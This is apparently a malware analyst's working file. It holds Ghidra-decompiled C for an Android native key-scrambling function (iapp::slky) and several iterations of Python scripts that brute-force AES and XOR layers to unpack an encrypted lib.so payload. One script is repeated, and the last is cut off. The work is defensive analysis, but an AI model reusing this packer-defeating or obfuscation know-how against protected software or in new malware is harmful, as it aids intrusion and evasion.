if (local_20 != *(int **)(unaff_EBX + 0x36e21)) {
    FUN_000167a0();
    /* catch() { ... } // from try @ 00022093 with catch @ 00023ada */
    operator.delete(pvVar26);
    /* WARNING: Subroutine does not return */
    _Unwind_Resume(extraout_EAX_01);
}

```

```

    return uVar13;
}

/* iapp::slky(iapp::Interact*, std::string, std::string) */

undefined4 iapp::slky(int param_1,byte *param_2,byte *param_3)

{
    byte bVar1;
    int *piVar2;
    char cVar3;
    size_t sVar4;
    undefined4 uVar5;
    int iVar6;
    int iVar7;
    uint *puVar8;
    byte *pbVar9;
    undefined4 uVar10;
    undefined4 uVar11;
    undefined4 uVar12;
    undefined4 extraout_EAX;
    undefined4 extraout_EAX_00;
    uint uVar13;
    uint uVar14;
    undefined4 *extraout_EAX_01;
    byte bVar15;
    int iVar16;
    uint *puVar17;
    uint uVar18;
    byte *pbVar19;
    int unaff_EBX;
    int iVar20;
    char *pcVar21;
    byte *pbVar22;
    byte local_6c;
    byte local_68;
    char local_64;
    byte local_60;
    byte local_58;
    undefined4 local_44;
    uint local_40;
    char *local_3c;
    undefined4 local_38;
    undefined1 local_34;
    undefined1 local_33;
    undefined1 local_32;
    undefined1 local_31;
    void *local_30;
    undefined1 local_2c;
    undefined1 local_2b;
    undefined1 local_2a;
    undefined1 local_29;

```

```

undefined1 local_28;
undefined1 local_27;
undefined1 local_26;
undefined1 local_25;
undefined1 local_24;
int local_20;
undefined4 uStack_14;

uStack_14 = 0x1922b;
FUN_000167bb();
piVar2 = *(int **)(param_1 + 4);
local_20 = **(int **)(unaff_EBX + 0x3fc11);
pbVar22 = param_2 + 1;
if ((*param_2 & 1) != 0) {
    pbVar22 = *(byte **)(param_2 + 8);
}
sVar4 = strlen((char *)pbVar22);
uVar5 = (**(code **)(piVar2 + 0x2c0))(piVar2, sVar4);
(**(code **)(piVar2 + 0x340))(piVar2, uVar5, 0, sVar4, pbVar22);
iVar6 = (**(code **)(*(int **)(param_1 + 4) + 0x2e0))(*(int **)(param_1 + 4), uVar5, 0);
iVar7 = (**(code **)(*(int **)(param_1 + 4) + 0x2ac))(*(int **)(param_1 + 4), uVar5);
iVar20 = iVar7;
if (0 < iVar7) {
    iVar16 = 0;
    do {
        pcVar21 = (char *)(iVar6 + iVar16);
        iVar16 = iVar16 + 1;
        iVar20 = iVar20 + *pcVar21;
    } while (iVar16 != iVar7);
}
(**(code **)(*(int **)(param_1 + 4) + 0x300))(*(int **)(param_1 + 4), uVar5, iVar6, 0);
(**(code **)(*(int **)(param_1 + 4) + 0x5c))(*(int **)(param_1 + 4), uVar5);
local_64 = (char)(iVar20 % iVar7);
std::to_string((undefined8 *)&local_38);
if ((*param_2 & 1) == 0) {
    uVar13 = (uint)(*param_2 >> 1);
    pbVar22 = param_2 + 1;
}
else {
    uVar13 = *(uint *)(param_2 + 4);
    pbVar22 = *(byte **)(param_2 + 8);
}

/* try { // try from 000193ac to 000193b0 has its CatchHandler @
000198f5 */
puVar8 = FUN_000190a0(&local_38, 0, pbVar22, uVar13);
local_44 = *puVar8;
local_40 = puVar8[1];
local_3c = (char *)puVar8[2];
*puVar8 = 0;
puVar8[1] = 0;
puVar8[2] = 0;
if (((byte)local_38 & 1) != 0) {
    operator.delete(local_30);
}

```

```

}
bVar15 = *param_3;
local_58 = bVar15 & 1;
if ((bVar15 & 1) == 0) {
    sVar4 = (int)(uint)bVar15 >> 1;
}
else {
    sVar4 = *(size_t*)(param_3 + 4);
}
pbVar22 = *(byte **)(unaff_EBX + 0x3fc15);
bVar1 = *pbVar22;
local_60 = bVar1 & 1;
if ((bVar1 & 1) == 0) {
    if (sVar4 == (int)(uint)bVar1 >> 1) goto LAB_0001982a;
LAB_0001941c:
    if (local_58 != 0) goto LAB_00019426;
LAB_00019890:
    uVar13 = (uint)(bVar15 >> 1);
    pbVar22 = param_3 + 1;
}
else {
    if (sVar4 != *(size_t*)(pbVar22 + 4)) goto LAB_0001941c;
LAB_0001982a:
    pbVar9 = param_3 + 1;
    if (local_58 != 0) {
        pbVar9 = *(byte **)(param_3 + 8);
    }
    pbVar19 = pbVar22 + 1;
    if (local_60 != 0) {
        pbVar19 = *(byte **)(pbVar22 + 8);
    }
    if (local_58 == 0) {
        if (sVar4 == 0) goto LAB_0001945c;
        if (*pbVar9 == *pbVar19) {
            pbVar22 = pbVar9 + sVar4;
            do {
                pbVar9 = pbVar9 + 1;
                pbVar19 = pbVar19 + 1;
                if (pbVar9 == pbVar22) goto LAB_0001945c;
            } while (*pbVar9 == *pbVar19);
        }
        goto LAB_00019890;
    }
    iVar6 = memcmp(pbVar9, pbVar19, sVar4);
    if (iVar6 == 0) goto LAB_0001945c;
LAB_00019426:
    uVar13 = *(uint*)(param_3 + 4);
    pbVar22 = *(byte **)(param_3 + 8);
}

/* try { // try from 0001943d to 000197dd has its CatchHandler @
00019910 */
FUN_00018b90(&local_44, pbVar22, uVar13);
if ((*param_3 & 1) == 0) {

```

```

    cVar3 = (char)((int)(uint)*param_3 >> 1);
}
else {
    cVar3 = (char)*(undefined4 *)(param_3 + 4);
}
local_64 = cVar3 + local_64;
LAB_0001945c:
piVar2 = *(int **)(param_1 + 4);
pcVar21 = (char *)((int)&local_44 + 1);
if ((local_44 & 1) != 0) {
    pcVar21 = local_3c;
}
sVar4 = strlen(pcVar21);
uVar5 = (**(code **)(piVar2 + 0x2c0))(piVar2, sVar4);
(**(code **)(piVar2 + 0x340))(piVar2, uVar5, 0, sVar4, pcVar21);
pbVar9 = (byte *)(**(code **)(*(int **)(param_1 + 4) + 0x2e0))(*(int **)(param_1 +
4), uVar5, 0);
iVar6 = (**(code **)(*(int **)(param_1 + 4) + 0x2ac))(*(int **)(param_1 + 4), uVar5);
local_6c = (byte)(iVar20 / iVar7);
pbVar22 = pbVar9;
if (0 < iVar6) {
    do {
        *pbVar22 = *pbVar22 ^ local_6c;
        pbVar22 = pbVar22 + 1;
    } while (pbVar22 != pbVar9 + iVar6);
}
(**(code **)(*(int **)(param_1 + 4) + 0x300))(*(int **)(param_1 + 4), uVar5, pbVar9, 0);
uVar10 = (**(code **)(*(int **)(param_1 + 4) + 0x18))(*(int **)(param_1 + 4), unaff_EBX +
0x30e72);
;
uVar11 = (**(code **)(*(int **)(param_1 + 4) + 0x29c))
        (*(int **)(param_1 + 4), unaff_EBX + 0x30e8e);
uVar12 = (**(code **)(*(int **)(param_1 + 4) + 0x1c4))
        (*(int **)(param_1 + 4), uVar10, unaff_EBX + 0x30e92, unaff_EBX +
0x318ad);
_JNIEnv::CallStaticObjectMethod(*(_JNIEnv **)(param_1 + 4), uVar10, uVar12, uVar11);
(**(code **)(*(int **)(param_1 + 4) + 0x5c))(*(int **)(param_1 + 4), uVar11);
uVar11 = (**(code **)(*(int **)(param_1 + 4) + 0x84))
        (*(int **)(param_1 + 4), uVar10, unaff_EBX + 0x30ea4, unaff_EBX +
0x30e9e);
_JNIEnv::CallVoidMethod(*(_JNIEnv **)(param_1 + 4), extraout_EAX, uVar11, uVar5);
uVar11 = (**(code **)(*(int **)(param_1 + 4) + 0x84))
        (*(int **)(param_1 + 4), uVar10, unaff_EBX + 0x30eb0, unaff_EBX +
0x30eab);
_JNIEnv::CallObjectMethod(*(_JNIEnv **)(param_1 + 4), extraout_EAX, uVar11);
(**(code **)(*(int **)(param_1 + 4) + 0x5c))(*(int **)(param_1 + 4), uVar10);
(**(code **)(*(int **)(param_1 + 4) + 0x5c))(*(int **)(param_1 + 4), extraout_EAX);
(**(code **)(*(int **)(param_1 + 4) + 0x5c))(*(int **)(param_1 + 4), uVar5);
pbVar22 = (byte *)(**(code **)(*(int **)(param_1 + 4) + 0x2e0))
        (*(int **)(param_1 + 4), extraout_EAX_00, 0);

local_38._0_1_ = 0xe2;
local_38._1_1_ = 0x5f;
local_38._2_1_ = 0x48;

```



```

local_38._3_1_ = 0x73;
local_34 = 0x25;
local_33 = 0xc6;
local_32 = 0xe7;
local_31 = 0x11;
local_30 = (void *)0xc3467c80;
local_2c = 0xe3;
local_2b = 0x1d;
local_2a = 0x3c;
local_29 = 0x97;
local_28 = 0x3c;
local_27 = 0x77;
local_26 = 0x1e;
local_25 = 1;
local_24 = 0;
puVar8 = &local_38;
do {
    puVar17 = puVar8;
    uVar13 = *puVar17 + 0xfefefeff & ~*puVar17;
    uVar14 = uVar13 & 0x80808080;
    puVar8 = puVar17 + 1;
} while (uVar14 == 0);
uVar18 = uVar14 >> 0x10;
puVar8 = (uint *)((int)puVar17 + 6);
if ((uVar13 & 0x8080) != 0) {
    puVar8 = puVar17 + 1;
    uVar18 = uVar14;
}
iVar20 = (**(code **)(*(int **)(param_1 + 4) + 0x2ac))(*(int **)(param_1 +
4), extraout_EAX_00);
iVar6 = 0;
local_68 = local_64 + (char)(iVar20 / 2);
pbVar9 = pbVar22;
if (0 < iVar20) {
    do {
        bVar15 = *pbVar9;
        uVar13 = (int)(char)bVar15 >> 0x1f;
        iVar7 = (int)(((int)(char)bVar15 ^ uVar13) - uVar13) % iVar20;
        if (iVar20 / 2 < iVar7) {
            bVar15 = bVar15 ^ local_68;
            *pbVar9 = bVar15;
        }
        bVar1 = pbVar22[iVar7];
        pbVar22[iVar7] = bVar15;
        *pbVar9 = bVar1;
        pbVar19 = (byte *)((int)&local_38 + iVar6);
        iVar6 = iVar6 + 1;
        *pbVar9 = bVar1 ^ *pbVar19;
        if (((int)puVar8 + ((-3 - (uint)CARRY1((byte)uVar18, (byte)uVar18)) - (int)&local_38) ==
iVar6)
        {
            iVar6 = 0;
        }
    }

```

```

        pbVar9 = pbVar9 + 1;
    } while (pbVar9 != pbVar22 + iVar20);
}
(**(code **)(** (int **)(param_1 + 4) + 0x300))(**(int **)(param_1 +
4), extraout_EAX_00, pbVar22, 0);
if ((local_44 & 1) != 0) {
    operator.delete(local_3c);
}
if (local_20 == **(int **)(unaff_EBX + 0x3fc11)) {
    return extraout_EAX_00;
}
FUN_000167a0();
/* catch() { ... } // from try @ 000193ac with catch @ 000198f5 */
if (((byte)local_38 & 1) != 0) {
    operator.delete(local_30);
}
/* WARNING: Subroutine does not return */
_Unwind_Resume(extraout_EAX_01);
}

```

```

from Crypto.Cipher import AES
import binascii
import itertools

# 1. Your observed 16-byte keys from the sandbox
KEYS_HEX = [
    "32E7B35ADA13BEA8CF404851152AA011",
    "41B1D0B984BD880A5F707851FDCA6038",
    "501093F28411FE6264731BEC7A1E040E",
    "54D7230A2CBD299534BA7E2149F62023"
]
keys_bin = [binascii.unhexlify(k) for k in KEYS_HEX]

# 2. The 21-byte static XOR key we found in the Ghidra __s_00 array
STATIC_XOR_KEY = bytes([
    0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C,
    0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1,
    0x69, 0xA8, 0x18, 0xCA, 0x00
])

def master_decrypt(input_file, output_file):
    with open(input_file, "rb") as f:
        ciphertext = f.read()

    print(f"[*] Loaded {input_file} ({len(ciphertext)} bytes)")
    print("[*] Testing all AES combinations and XOR layers...")

    # Try every combination of Key and IV (12 permutations total)
    for k, iv in itertools.permutations(keys_bin, 2):
        # Step 1: AES Decrypt (CBC Mode)
        cipher = AES.new(k, AES.MODE_CBC, iv)
        try:

```

```

        aes_decrypted = bytearray(cipher.decrypt(ciphertext))
    except Exception:
        continue

    # Step 2: Apply the 21-byte Rolling XOR
    # We do this BEFORE the slky brute force because Ghidra showed
    # the rolling XOR loop occurring in the decryption flow.
    xor_layer_data = bytearray(len(aes_decrypted))
    for i in range(len(aes_decrypted)):
        xor_layer_data[i] = aes_decrypted[i] ^ STATIC_XOR_KEY[i % len(STATIC_XOR_KEY)]

    # Step 3: Brute force the single 'slky' byte (0-255)
    for slky_byte in range(256):
        # Check the first 4 bytes for magic headers
        header = bytes([xor_layer_data[i] ^ slky_byte for i in range(4)])

        if header.startswith(b"PK") or header.startswith(b"dex"):
            print("\n[!] SUCCESS! FOUND VALID PAYLOAD")
            print(f"[+] Header: {header}")
            print(f"[+] AES Key: {binascii.hexlify(k).upper()}")
            print(f"[+] AES IV: {binascii.hexlify(iv).upper()}")
            print(f"[+] Slky XOR Byte: {hex(slky_byte)}")

            # Apply final XOR and save
            final_data = bytes([b ^ slky_byte for b in xor_layer_data])
            with open(output_file, "wb") as out:
                out.write(final_data)
            print(f"[+] Decrypted file saved as: {output_file}")
            return True

    print("\n[-] Decryption failed. Possible reasons:")
    print("    1. The lib.so file has extra padding/headers.")
    print("    2. The 21-byte XOR happens in a different order.")
    return False

# Run it
if __name__ == "__main__":
    master_decrypt("./assets/lib.so", "decrypted_payload.bin")

```

```

import itertools
from Crypto.Cipher import AES
import binascii

# Your keys
KEYS_HEX = [
    "32E7B35ADA13BEA8CF404851152AA011",
    "41B1D0B984BD880A5F707851FDCA6038",
    "501093F28411FE6264731BEC7A1E040E",
    "54D7230A2CBD299534BA7E2149F62023"
]

keys_bin = [binascii.unhexlify(k) for k in KEYS_HEX]

```

```

STATIC_XOR_KEY = bytes([
    0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C,
    0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1,
    0x69, 0xA8, 0x18, 0xCA, 0x00
])

def deep_scan(input_file):
    with open(input_file, "rb") as f:
        full_data = f.read()

    # Try different starting offsets in case there is a header
    for offset in [0, 4, 8, 16]:
        ciphertext = full_data[offset:]
        # Ensure ciphertext is multiple of 16 for AES
        mod = len(ciphertext) % 16
        if mod != 0:
            ciphertext = ciphertext[:-mod]

        print(f"[*] Testing Offset {offset}...")

        for k, iv in itertools.permutations(keys_bin, 2):
            cipher = AES.new(k, AES.MODE_CBC, iv)
            try:
                raw_aes = bytearray(cipher.decrypt(ciphertext))
            except:
                continue

            # Case A: AES -> Rolling XOR -> Slky
            # Case B: AES -> Slky (No Rolling)
            for mode in ['rolling', 'no_rolling']:
                current_data = bytearray(raw_aes)
                if mode == 'rolling':
                    for i in range(len(current_data)):
                        current_data[i] ^= STATIC_XOR_KEY[i % len(STATIC_XOR_KEY)]

                for slky in range(256):
                    h = bytes([current_data[i] ^ slky for i in range(4)])
                    if h.startswith(b"PK") or h.startswith(b"dex"):
                        print(f"\n[!] SUCCESS at Offset {offset}!")
                        print(f"[+] Mode: {mode} | Key: {binascii.hexlify(k).upper()}")
                        print(f"[+] Slky Byte: {hex(slky)}")
                        return True

    return False

deep_scan("./assets/lib.so")

```

```

import hashlib
from Crypto.Cipher import AES
import os
import sys

LIB_SO_PATH = "lib.so"

```

```

# 1. Key used inside slky() scrambling loop (local_38)
# Extracted from code2026-02-001.c (Lines 969+)
STATIC_KEY_SLKY = bytes([
    0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11,
    0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97,
    0x3c, 0x77, 0x1e, 0x01, 0x00
])

# 2. Key used in burden() rolling XOR (__s_00)
# Reconstructed from code2026-02-001.c (Lines 678+)
STATIC_KEY_BURDEN = bytes([
    0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C,
    0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1,
    0x69, 0xA8, 0x18, 0xCA, 0x00
])

KEYS_HEX = [
    "32E7B35ADA13BEA8CF404851152AA011",
    "41B1D0B984BD880A5F707851FDCA6038",
    "501093F28411FE6264731BEC7A1E040E",
    "54D7230A2CBD299534BA7E2149F62023"
]

def slky_scramble(p1, p2, algo):
    if p1 is None: p1 = b""
    if p2 is None: p2 = b""

    # Checksum logic matching C implementation
    sum_val = sum(p1)
    len_p1 = len(p1) if len(p1) > 0 else 1
    local_64 = (sum_val % len_p1)
    local_64 = (local_64 + len(p2)) & 0xFF

    if algo == 'md5': h = hashlib.md5()
    elif algo == 'sha1': h = hashlib.sha1()
    elif algo == 'sha256': h = hashlib.sha256()
    else: return b""

    # Simulating MessageDigest.update(p1+p2)
    h.update(p1 + p2)
    digest = bytearray(h.digest())
    len_d = len(digest)

    local_68 = (local_64 + (len_d // 2)) & 0xFF
    len_k = len(STATIC_KEY_SLKY)
    k_idx = 0

    # Scramble loop
    for i in range(len_d):
        b = digest[i]

        # Consistent signed byte to int conversion

```

```

    val = b
    if val > 127: val -= 256
    abs_val = abs(val)
    swap_idx = abs_val % len_d

    # Conditional XOR before swap
    if (len_d // 2) < swap_idx:
        b = b ^ local_68

    # Swap logic
    b_at_swap = digest[swap_idx]
    digest[swap_idx] = b & 0xFF
    digest[i] = b_at_swap

    # Final XOR with Static Key
    digest[i] = digest[i] ^ STATIC_KEY_SLKY[k_idx]
    k_idx = (k_idx + 1) % len_k

return bytes(digest)

def xor_data(data, key):
    res = bytearray(data)
    kl = len(key)
    for i in range(len(res)):
        res[i] ^= key[i % kl]
    return bytes(res)

def check_header(data):
    # Magic Header Checks
    if len(data) < 4: return False
    if data.startswith(b"PK\x03\x04"): return "ZIP"
    if data.startswith(b"dex\n"): return "DEX"
    if data.startswith(b"\x7fELF"): return "ELF"
    return False

def decrypt():
    print("Starting Decryption...")
    if not os.path.exists(LIB_SO_PATH):
        print(f"Error: {LIB_SO_PATH} not found")
        return

    with open(LIB_SO_PATH, "rb") as f:
        full_data = f.read()

    # Prepare inputs for slky
    inputs_bin = [bytes.fromhex(k) for k in KEYS_HEX]
    inputs_txt = [k.encode('utf-8') for k in KEYS_HEX]
    all_inputs = inputs_bin + inputs_txt

    # Pre-calculate Dynamic Keys (Final XOR Layer)
    dyn_keys = []
    dyn_keys.append((b"", "None"))

```

```

print("[*] Generating Dynamic XOR Keys...")
# MD5 is most likely given "Observed AES-128 Keys" context
for algo in ['md5', 'sha1']:
    for k1 in all_inputs:
        # Try permutations of key pairs
        for k2 in all_inputs:
            k = slky_scramble(k1, k2, algo)
            dyn_keys.append((k, f"slky({algo},pair)"))
        # Try single key
        k = slky_scramble(k1, b"", algo)
        dyn_keys.append((k, f"slky({algo},single)"))

print(f"[*] Generated {len(dyn_keys)} potential final layers.")

aes_keys = inputs_bin

# Test common file offsets
skips = [0, 16, 32]

for skip in skips:
    # Optimization: Process only header chunk first
    chunk = full_data[skip:skip+64]

    for aes_k in aes_keys:
        # IV is usually Zero or the Key itself in malware
        ivs = [b'\x00'*16, aes_k]

        for iv in ivs:
            try:
                # Layer 1: AES Decrypt
                cipher = AES.new(aes_k, AES.MODE_CBC, iv)
                pt_aes = cipher.decrypt(chunk)

                # Layer 2: Rolling XOR (Static)
                pt_static = xor_data(pt_aes, STATIC_KEY_BURDEN)

                # Layer 3: Final XOR (Dynamic)
                for dyn_k, desc in dyn_keys:
                    final = xor_data(pt_static, dyn_k)

                    res = check_header(final)
                    if res:
                        print(f"\n[+] SUCCESS! Found {res} Header")
                        print(f"    Skip: {skip}")
                        print(f"    AES Key: {aes_k.hex()}")
                        print(f"    IV: {iv.hex()}")
                        print(f"    Dynamic Key Desc: {desc}")

                        # Perform full decryption
                        fc = AES.new(aes_k, AES.MODE_CBC, iv)
                        full_pt = fc.decrypt(full_data[skip:])
                        full_static = xor_data(full_pt, STATIC_KEY_BURDEN)
                        full_final = xor_data(full_static, dyn_k)

```

```

        out_name = f"decrypted_payload.{res.lower()}"
        with open(out_name, "wb") as f: f.write(full_final)
        print(f"    Saved payload to {out_name}")
        return
    except Exception: pass

    print("[-] Decryption failed with current permutations.")

if __name__ == "__main__":
    decrypt()

```

```

import hashlib
from Crypto.Cipher import AES
import os
import sys

LIB_S0_PATH = "lib.so"

# 1. Key used inside slky() scrambling loop (local_38)
# Extracted from code2026-02-001.c (Lines 969+)
STATIC_KEY_SLKY = bytes([
    0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11,
    0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97,
    0x3c, 0x77, 0x1e, 0x01, 0x00
])

# 2. Key used in burden() rolling XOR (__s_00)
# Reconstructed from code2026-02-001.c (Lines 678+)
STATIC_KEY_BURDEN = bytes([
    0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C,
    0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1,
    0x69, 0xA8, 0x18, 0xCA, 0x00
])

KEYS_HEX = [
    "32E7B35ADA13BEA8CF404851152AA011",
    "41B1D0B984BD880A5F707851FDCA6038",
    "501093F28411FE6264731BEC7A1E040E",
    "54D7230A2CBD299534BA7E2149F62023"
]

def slky_scramble(p1, p2, algo):
    if p1 is None: p1 = b""
    if p2 is None: p2 = b""

    # Checksum logic matching C implementation
    sum_val = sum(p1)
    len_p1 = len(p1) if len(p1) > 0 else 1
    local_64 = (sum_val % len_p1)
    local_64 = (local_64 + len(p2)) & 0xFF

```



```

if algo == 'md5': h = hashlib.md5()
elif algo == 'sha1': h = hashlib.sha1()
elif algo == 'sha256': h = hashlib.sha256()
else: return b""

# Simulating MessageDigest.update(p1+p2)
h.update(p1 + p2)
digest = bytearray(h.digest())
len_d = len(digest)

local_68 = (local_64 + (len_d // 2)) & 0xFF
len_k = len(STATIC_KEY_SLKY)
k_idx = 0

# Scramble loop
for i in range(len_d):
    b = digest[i]

    # Consistent signed byte to int conversion
    val = b
    if val > 127: val -= 256
    abs_val = abs(val)
    swap_idx = abs_val % len_d

    # Conditional XOR before swap
    if (len_d // 2) < swap_idx:
        b = b ^ local_68

    # Swap logic
    b_at_swap = digest[swap_idx]
    digest[swap_idx] = b & 0xFF
    digest[i] = b_at_swap

    # Final XOR with Static Key
    digest[i] = digest[i] ^ STATIC_KEY_SLKY[k_idx]
    k_idx = (k_idx + 1) % len_k

return bytes(digest)

def xor_data(data, key):
    res = bytearray(data)
    kl = len(key)
    for i in range(len(res)):
        res[i] ^= key[i % kl]
    return bytes(res)

def check_header(data):
    # Magic Header Checks
    if len(data) < 4: return False
    if data.startswith(b"PK\x03\x04"): return "ZIP"
    if data.startswith(b"dex\n"): return "DEX"
    if data.startswith(b"\x7fELF"): return "ELF"
    return False

```

```

def decrypt():
    print("Starting Decryption...")
    if not os.path.exists(LIB_SO_PATH):
        print(f"Error: {LIB_SO_PATH} not found")
        return

    with open(LIB_SO_PATH, "rb") as f:
        full_data = f.read()

    # Prepare inputs for slky
    inputs_bin = [bytes.fromhex(k) for k in KEYS_HEX]
    inputs_txt = [k.encode('utf-8') for k in KEYS_HEX]
    all_inputs = inputs_bin + inputs_txt

    # Pre-calculate Dynamic Keys (Final XOR Layer)
    dyn_keys = []
    dyn_keys.append((b"", "None"))

    print("[*] Generating Dynamic XOR Keys...")
    # MD5 is most likely given "Observed AES-128 Keys" context
    for algo in ['md5', 'sha1']:
        for k1 in all_inputs:
            # Try permutations of key pairs
            for k2 in all_inputs:
                k = slky_scramble(k1, k2, algo)
                dyn_keys.append((k, f"slky({algo},pair)"))
            # Try single key
            k = slky_scramble(k1, b"", algo)
            dyn_keys.append((k, f"slky({algo},single)"))

    print(f"[*] Generated {len(dyn_keys)} potential final layers.")

    aes_keys = inputs_bin

    # Test common file offsets
    skips = [0, 16, 32]

    for skip in skips:
        # Optimization: Process only header chunk first
        chunk = full_data[skip:skip+64]

        for aes_k in aes_keys:
            # IV is usually Zero or the Key itself in malware
            ivs = [b'\x00'*16, aes_k]

            for iv in ivs:
                try:
                    # Layer 1: AES Decrypt
                    cipher = AES.new(aes_k, AES.MODE_CBC, iv)
                    pt_aes = cipher.decrypt(chunk)

                    # Layer 2: Rolling XOR (Static)

```

```

        pt_static = xor_data(pt_aes, STATIC_KEY_BURDEN)

        # Layer 3: Final XOR (Dynamic)
        for dyn_k, desc in dyn_keys:
            final = xor_data(pt_static, dyn_k)

            res = check_header(final)
            if res:
                print(f"\n[+] SUCCESS! Found {res} Header")
                print(f"    Skip: {skip}")
                print(f"    AES Key: {aes_k.hex()}")
                print(f"    IV: {iv.hex()}")
                print(f"    Dynamic Key Desc: {desc}")

                # Perform full decryption
                fc = AES.new(aes_k, AES.MODE_CBC, iv)
                full_pt = fc.decrypt(full_data[skip:])
                full_static = xor_data(full_pt, STATIC_KEY_BURDEN)
                full_final = xor_data(full_static, dyn_k)

                out_name = f"decrypted_payload.{res.lower()}"
                with open(out_name, "wb") as f: f.write(full_final)
                print(f"    Saved payload to {out_name}")
                return
            except Exception: pass

        print("[-] Decryption failed with current permutations.")

if __name__ == "__main__":
    decrypt()

```

```

import hashlib
import binascii
from Crypto.Cipher import AES

STATIC_KEY_SLKY = bytes([
    0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11,
    0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97,
    0x3c, 0x77, 0x1e, 0x01
])

STATIC_KEY_BURDEN = bytes([
    0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C,
    0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1,
    0x69, 0xA8, 0x18, 0xCA
])

KEYS_HEX = [
    "32E7B35ADA13BEA8CF404851152AA011",
    "41B1D0B984BD880A5F707851FDCA6038",
    "501093F28411FE6264731BEC7A1E040E",

```

```
"54D7230A2CBD299534BA7E2149F62023"
```

```
]
```

```
def c_mod(a, b):
    return int(a % b) if a >= 0 else -int(-a % b)

def slky_scramble(p1, p2):
    s = len(p1)
    for b in p1:
        val = b if b < 128 else b - 256
        s += val
    rem = c_mod(s, len(p1))
    local_64 = (rem + len(p2)) & 0xFF
    h = hashlib.md5(p1 + p2).digest()
    digest = bytearray(h)
    local_68 = (local_64 + 8) & 0xFF
    sVar23 = 0
    for i in range(16):
        b = digest[i]
        signed_b = b if b < 128 else b - 256
        iVar8 = abs(signed_b) % 16
        if 8 < iVar8:
            b ^= local_68
        b_at_swap = digest[iVar8]
        digest[iVar8] = b
        digest[i] = b_at_swap ^ STATIC_KEY_SLKY[sVar23]
        sVar23 = (sVar23 + 1) % 20
    return bytes(digest)

def xor_data(data, key):
    kl = len(key)
    if kl == 0: return data
    res = bytearray(data)
    for i in range(len(res)):
        res[i] ^= key[i % kl]
    return bytes(res)

def check_header(data):
    if len(data) < 4: return None
    if data.startswith(b"PK\x03\x04"): return "ZIP"
    if data.startswith(b"dex\n"): return "DEX"
    if data.startswith(b"\x7fELF"): return "ELF"
    return None

def decrypt():
    with open("lib.so", "rb") as f:
        full_data = f.read()

    keys_bin = [binascii.unhexlify(k) for k in KEYS_HEX]
    derived_keys = []

    # 1. Observed keys
    for k in keys_bin: derived_keys.append((k, "Observed"))
```

```

# 2. slky(k1, k2)
for k1 in keys_bin:
    for k2 in keys_bin:
        dk = slky_scramble(k1, k2)
        derived_keys.append((dk, f"slky({binascii.hexlify(k1[:2]).decode()},
{binascii.hexlify(k2[:2]).decode()}"))
        dk_burden = bytes([dk[i] ^ STATIC_KEY_BURDEN[i] for i in range(16)])
        derived_keys.append((dk_burden, f"slky(...) ^ Burden"))

# 3. Try variations of k1, k2 (reverse order, single)
for k1 in keys_bin:
    dk = slky_scramble(k1, b"")
    derived_keys.append((dk, f"slky({binascii.hexlify(k1[:2]).decode()}, empty)"))

print(f"Testing {len(derived_keys)} potential keys...")

chunk = full_data[:64]

for dk, desc in derived_keys:
    ivs = [b'\x00'*16, dk]

    for iv in ivs:
        # Flow 1: XOR -> AES
        # Order in burden::a was: XOR with derived key, then Decrypt with derived key
        # Let's try both XOR with DK and XOR with BURDEN
        for xor_key in [dk, STATIC_KEY_BURDEN]:
            try:
                data_xor = xor_data(chunk, xor_key)
                cipher = AES.new(dk, AES.MODE_CBC, iv)
                pt = cipher.decrypt(data_xor)
                if check_header(pt):
                    print(f"FOUND! Flow: XOR({xor_key == dk and 'DK' or 'BURDEN'}) ->
AES_CBC. Key: {desc}, IV: {'DK' if iv==dk else '0'}")
                    return

                # Flow 2: AES -> XOR
                cipher = AES.new(dk, AES.MODE_CBC, iv)
                pt_aes = cipher.decrypt(chunk)
                final = xor_data(pt_aes, xor_key)
                if check_header(final):
                    print(f"FOUND! Flow: AES_CBC -> XOR({xor_key == dk and 'DK' or
'BURDEN'}). Key: {desc}, IV: {'DK' if iv==dk else '0'}")
                    return
            except:
                pass

print("Failed.")

decrypt()

```

```

import hashlib
import binascii
from Crypto.Cipher import AES

STATIC_KEY_SLKY = bytes([
    0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11,
    0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97,
    0x3c, 0x77, 0x1e, 0x01
])

STATIC_KEY_BURDEN = bytes([
    0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C,
    0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1,
    0x69, 0xA8, 0x18, 0xCA
])

POTENTIAL_STRINGS = [
    "32E7B35ADA13BEA8CF404851152AA011",
    "41B1D0B984BD880A5F707851FDCA6038",
    "501093F28411FE6264731BEC7A1E040E",
    "54D7230A2CBD299534BA7E2149F62023",
    "734628387",
    "com.zhendong",
    "lib.so",
    "zyj.iyu",
    "ygsiyu",
    "edk88ke"
]

def c_mod(a, b):
    return int(a % b) if a >= 0 else -int(-a % b)

def slky_scramble_fixed(p1, p2):
    if not p1: p1 = b""
    if not p2: p2 = b""

    # Checksum and Average
    s = len(p1)
    for b in p1:
        val = b if b < 128 else b - 256
        s += val

    avg = s // len(p1) if len(p1) > 0 else 0
    p1_xor = bytes([b ^ (avg & 0xFF) for b in p1])
    p2_xor = bytes([b ^ (avg & 0xFF) for b in p2]) # Assuming p2 is also XORed?

    # local_64 (used for local_68)
    rem = c_mod(s, len(p1)) if len(p1) > 0 else 0
